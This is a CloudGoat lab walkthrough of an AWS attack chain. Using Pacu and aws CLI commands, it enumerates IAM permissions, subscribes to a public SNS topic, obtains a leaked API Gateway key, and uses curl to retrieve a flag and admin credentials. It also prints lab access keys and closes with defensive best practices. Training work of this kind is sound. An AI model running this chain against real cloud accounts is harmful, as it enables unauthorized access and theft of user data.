Contents

CloudGoat: SNS Secrets Walkthrough

Understanding AWS SNS (Simple Notification Service)

Amazon SNS is a fully managed messaging service that helps you send messages between applications or from applications to people. It supports two main types of messaging:

1. Application-to-Application (A2A) Notifications

This is useful when one app needs to talk to another. For example, if your website needs to send a message to a backend service when someone signs up, SNS can handle that. It helps connect and separate different parts of your app, so they work smoothly without being tightly linked.

Think of it like one app publishing a message and other apps subscribing to get it.

2. Application-to-Person (A2P) Notifications

This is when your app needs to send messages directly to people β€” like:

  • SMS messages
  • Emails
  • Push notifications

πŸ’¬ Great for sending alerts, order updates, or OTPs to your users.

Common SNS Misconfigurations

1. Public Topics:

  • If SNS topics are publicly accessible, attackers can publish spam or subscribe to sensitive messages.

2. Overly Broad IAM Permissions:

  • Permissions like sns:* can let attackers delete topics or redirect messages.

Understanding Amazon API Gateway

Amazon API Gateway is a fully managed service that helps developers create and manage APIs (Application Programming Interfaces) easily. Think of an API as the front door of your application β€” it allows apps, websites, or even other systems to interact with your backend services securely.

With API Gateway, you can build different types of APIs such as:

  • REST APIs – great for typical web and mobile apps.
  • WebSocket APIs – great for real-time apps like chat or live dashboards.

1. Common API Gateway Misconfigurations

If the API is configured to require only the API key (with no IAM, Cognito, or Lambda Authorizer), anyone who has the key can:

  • Invoke the API endpoints
  • Extract data
  • Trigger backend operations (like Lambda, DynamoDB writes, etc.)

2. Bypass Rate Limits of Free/Public APIs

If the key is linked to a generous usage plan:

  • Attackers can use it to make high-volume calls
  • Can cause increased cost
  • Can lead to denial of service (DoS) for legitimate users

Enumeration

Initial Access

sns_user_access_key_id = AKIA2K3L7SQOQUGO6EUQ
sns_user_secret_access_key = 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

Add the following key as a profile in the AWS CLI

└─$ aws configure --profile sns_user                
AWS Access Key ID [None]: AKIA2K3L7SQOQUGO6EUQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: json

Verify the access

└─$ aws sts get-caller-identity --profile sns_user                            
{
    "UserId": "AIDA2K3L7SQO3SQQK3DBF",
    "Account": "710506681373",
    "Arn": "arn:aws:iam::710506681373:user/cg-sns-user-cgidbhojlinths"
}
       

User Policy Enumeration

└──╼ $ aws iam list-user-policies --user-name cg-sns-user-cgids2uo6tcael --profile sns_user 
{
    "PolicyNames": [
        "cg-sns-user-policy-cgids2uo6tcael"
    ]
}
  • Found a policy attached to the user: cg-sns-user-policy-cgids2uo6tcael

Enumerating User Permission

└──╼ $ aws iam get-user-policy --user-name cg-sns-user-cgids2uo6tcael --policy-name cg-sns-user-policy-cgids2uo6tcael --profile sns_user 
{
    "UserName": "cg-sns-user-cgids2uo6tcael",
    "PolicyName": "cg-sns-user-policy-cgids2uo6tcael",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "sns:Subscribe",
                    "sns:Receive",
                    "sns:ListSubscriptionsByTopic",
                    "sns:ListTopics",
                    "sns:GetTopicAttributes",
                    "iam:ListGroupsForUser",
                    "iam:ListUserPolicies",
                    "iam:GetUserPolicy",
                    "iam:ListAttachedUserPolicies",
                    "apigateway:GET"
                ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "apigateway:GET",
                "Effect": "Deny",
                "Resource": [
                    "arn:aws:apigateway:us-east-1::/apikeys",
                    "arn:aws:apigateway:us-east-1::/apikeys/*",
                    "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/GET",
                    "arn:aws:apigateway:us-east-1::/restapis/*/methods/GET",
                    "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration",
                    "arn:aws:apigateway:us-east-1::/restapis/*/integration",
                    "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/*/integration"
                ]
            }
        ]
    }
}
  • It has permission to sns:Subscribe and sns:Receive, so we can use that to find an SNS topic and subscribe to it. Additionally, there is permission for apigateway:GET, which allows us to fetch the API Gateway endpoint.

Enumerating SNS topic using pacu

If you haven’t installed Pacu yet, you can do so by following the official installation guide.

Pacu (SNS Secrets:imported-sns_user) > use sns__enum --region us-east-1
Pacu (SNS Secrets:imported-sns_user) > data sns
{
  "sns": {
    "us-east-1": {
      "arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths": {
        "DisplayName": "",
        "Owner": "710506681373",
        "Subscribers": [],
        "SubscriptionsConfirmed": "0",
        "SubscriptionsPending": "0"
      }
    }
  }
}
  • Found access to an SNS topic: public-topic-cgidbhojlinths

Used Pacu to subscribe to the SNS topic

Pacu (SNS Secrets:imported-sns_user) > use sns__subscribe --topics arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths --email condescendingshamir1@deliveryotter.com
  Running module sns__subscribe...
[sns__subscribe] Subscribed successfully, check email for subscription confirmation. Confirmation ARN: arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths:4e4ae1c3-7765-470d-b58a-b0b8e2e5749a

Received Confirmation Link from the SNS topic

/images/sns_receive.png

Confirmed the subscription and began receiving messages.

/images/sns_confirmation.png

Message received from SNS Topic

/images/API_Key.png

The message included an API Gateway key, which can be used to access resources that are normally restricted. A quick Google search and ChatGPT helped me find the correct syntax to use the key: curl -X GET -H "x-api-key: <key>" https://<restapiid>.execute-api.<region>.amazonaws.com/<stage>/<resource> By passing the API Gateway key in the header, it’s possible to access other protected resources.

Enumerating available API Gateway endpoints to identify accessible resource

└─$ aws apigateway get-rest-apis --profile sns_user         
{
    "items": [
        {
            "id": "8vdw79n971",
            "name": "cg-api-cgidbhojlinths",
            "description": "API for demonstrating leaked API key scenario",
            "createdDate": "2025-06-22T00:56:37+05:30",
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "EDGE"
                ],
                "ipAddressType": "ipv4"
            },
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            },
            "disableExecuteApiEndpoint": false,
            "rootResourceId": "uda3jwgdf4"
        }
    ]
}
  • Discovered a REST API named cg-api-cgidbhojlinths with ID 8vdw79n971, which is needed to form the correct API request URL.

List All Available Resource Paths

└─$ aws apigateway get-resources --rest-api-id 8vdw79n971 --profile sns_user                          


{
    "items": [
        {
            "id": "2oflpb",
            "parentId": "uda3jwgdf4",
            "pathPart": "user-data",
            "path": "/user-data",
            "resourceMethods": {
                "GET": {}
            }
        },
        {
            "id": "uda3jwgdf4",
            "path": "/"
        }
    ]
}
  • Got the path info : /user-data
└─$ aws apigateway get-usage-plans --profile sns_user

{
    "items": [
        {
            "id": "26qzsc",
            "name": "cg-usage-plan-cgidbhojlinths",
            "apiStages": [
                {
                    "apiId": "8vdw79n971",
                    "stage": "prod-cgidbhojlinths"
                }
            ],
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            }
        }
    ]
}
  • Found stage information: prod-cgidbhojlinths, which is required for our curl command completion.

Rest API ID: 8vdw79n971
Path: /user-data
Stage Name: prod-cgidbhojlinths
Now we have all the necessary details to complete the request β€” let’s run the command and see the response!

Combining the enumerated info

─$ curl -X GET -H "x-api-key:45a3da610dc64703b10e273a4db135bf" https://8vdw79n971.execute-api.us-east-1.amazonaws.com/prod-cgidbhojlinths/user-data

{"final_flag":"FLAG{redacted}","message":"Access granted","user_data":{"email":"SuperAdmin@notarealemail.com","password":"p@ssw0rd123","user_id":"1337","username":"SuperAdmin"}}   

Kaboom! πŸŽ‰ Successfully retrieved sensitive information from the API Gateway resource.

  • Extracted Data:
  • Flag: FLAG{redacted}
  • Email: SuperAdmin@notarealemail.com
  • Username: SuperAdmin
  • Password: p@ssw0rd123

Security Best Practices

To protect AWS resources like SNS, API Gateway, and IAM, follow these key best practices:

1. Secure Amazon SNS

  • Avoid public topics. Ensure SNS topics are not publicly accessible; use topic policies to control who can publish or subscribe.
  • Restrict with IAM. Grant sns:Subscribe, sns:Publish, and sns:Receive only to specific users or roles.
  • Audit subscriptions regularly to detect unauthorized endpoints.
  • Enable logging with AWS CloudTrail to monitor SNS activity.

2. Lock Down API Gateway

  • Use strong authorization. Enforce IAM, Cognito User Pools, or Lambda Authorizers instead of relying only on API keys.
  • Control API keys. Attach them to usage plans, enable throttling, rotate periodically, and revoke when unused.
  • Avoid hardcoding keys in code, front-end applications, or emails.
  • Monitor and protect endpoints using CloudWatch Logs and AWS WAF.

3. Enforce Least Privilege for IAM

  • Limit permissions. Avoid wildcards like sns:* or apigateway:*; always grant the minimum required actions.
  • Use custom policies instead of broad managed ones.
  • Explicitly deny sensitive actions such as apigateway:GET on critical paths if necessary.
  • Enable multi-factor authentication (MFA) for all IAM users.